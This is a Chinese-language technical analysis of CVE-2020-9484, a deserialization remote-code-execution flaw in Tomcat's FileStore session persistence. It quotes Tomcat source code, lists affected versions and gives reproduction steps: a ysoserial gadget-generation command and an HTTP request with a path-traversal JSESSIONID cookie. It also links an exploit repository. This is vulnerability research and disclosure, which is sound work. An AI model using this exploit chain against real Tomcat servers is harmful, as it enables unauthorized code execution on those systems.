CVE-2020-9484 Tomcat RCE漏洞分析

2020-06-11 8,868
膜threedr3am

1、漏洞简述

当使用tomcat时,如果使用了tomcat提供的session持久化功能,如果存在文件上传功能,恶意请求者通过一个流程,将能发起一个恶意请求造成服务端远程命令执行。

2、条件

1.tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget2.存在文件上传功能(传到任意目录都可以,需要知道上传后的目录路径以及文件后缀必须为.session)

3、漏洞详情

当用户在使用tomcat时,启用了session持久化功能FileStore,例(conf/context.xml):

<Context>

    ...

    <Manager className="org.apache.catalina.session.PersistentManager"
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1">

        <Store className="org.apache.catalina.session.FileStore" directory="./session" />
    </Manager>
</Context>


有人说,需要知道directory的目录才可以,可用很负责任的说,并不需要。


在使用了上述功能的情况下,如果恶意用户可以上传指定后缀(.session)的文件时,利用反序列化gadget,将能造成服务端远程代码执行,原因在于FileStore类读取文件时,使用了JSESSIONID的名称,没有过滤“/../”这样的目录穿越:

org.apache.catalina.session.FileStore:

public Session load(String id) throws ClassNotFoundException, IOException {
    // Open an input stream to the specified pathname, if any
    File file = file(id);
    if (file == null || !file.exists()) {
        return null;
    }

    Context context = getManager().getContext();
    Log contextLog = context.getLogger();

    if (contextLog.isDebugEnabled()) {
        contextLog.debug(sm.getString(getStoreName()+".loading", id, file.getAbsolutePath()));
    }

    ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null);

    try (FileInputStream fis = new FileInputStream(file.getAbsolutePath());
            ObjectInputStream ois = getObjectInputStream(fis)) {

        StandardSession session = (StandardSession) manager.createEmptySession();
        session.readObjectData(ois);
        session.setManager(manager);
        return session;
    } catch (FileNotFoundException e) {
        if (contextLog.isDebugEnabled()) {
            contextLog.debug("No persisted data file found");
        }
        return null;
    } finally {
        context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
    }
}

private File file(String id) throws IOException {
    if (this.directory == null) {
        return null;
    }
    String filename = id + FILE_EXT;
    File file = new File(directory(), filename);
    return file;
}


上述代码,通过构造“/../”的filename路径,将能穿越到任意目录去读取后缀为“.session”的序列化数据进行反序列化。

至于为什么tomcat的common加载器加载的org.apache.catalina.session.FileStore,能加载到gadget的依赖?原因是使用了当前类加载器:

protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException {
    BufferedInputStream bis = new BufferedInputStream(is);

    CustomObjectInputStream ois;
    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

    if (manager instanceof ManagerBase) {
        ManagerBase managerBase = (ManagerBase) manager;
        ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(),
                managerBase.getSessionAttributeValueClassNamePattern(),
                managerBase.getWarnOnSessionAttributeFilterFailure());
    } else {
        ois = new CustomObjectInputStream(bis, classLoader);
    }

    return ois;
}


它破坏了双亲委托模型的隐式加载,因为当前访问的是bug这个context项目(看后面),所以,一般情况下,Thread.currentThread().getContextClassLoader()取到的类加载器将会是应用类加载器,所以能加载得到WEB-INF/lib的依赖。

4、影响版本

 

<= 9.0.34
<= 8.5.54
<= 7.0.103



5、漏洞复现

配置tomcat的conf/context.xml文件:

<Context>

    ...

    <Manager className="org.apache.catalina.session.PersistentManager"
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1">

        <Store className="org.apache.catalina.session.FileStore" directory="./session" />
    </Manager>
</Context>

部署一个存在以下依赖的webapp(一个存在commons-collections4的jar依赖的web服务,例bug.war)到tomcat:

dependencies {
    compile 'org.apache.commons:commons-collections4:4.0'
}

使用github上的ysoserial工具->https://github.com/frohoff/ysoserial,生成commons-collections4依赖的gadget恶意序列化数据:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/tomcat-bug" > /tmp/22222.session

通过有缺陷的文件上传功能把恶意序列化数据文件上传到任意目录,但后缀必须是“.session”,例如:/tmp/22222.session

最后,发起恶意请求,请求payload:

GET /bug/api HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=../../../../../../../../../../../../tmp/22222

将会导致服务端远程代码执行。

6、写在最后

其实tomcat的安全性做得非常不错的,源码肛了一遍,也没找到什么比较强的洞,倒是有几个非security by default导致的洞,听说都给官方提交过去了,但是被以非安全配置和可信网络才可访问给忽略了。

这些非security by default的洞大概就是那么两个:

  1. session cluster sync(session集群同步):https://github.com/threedr3am/tomcat-cluster-session-sync-exp

  2. war cluster sync(war集群同步):主要是代码有点复杂,没什么时间去写exp




本文作者:ChaMd5安全团队

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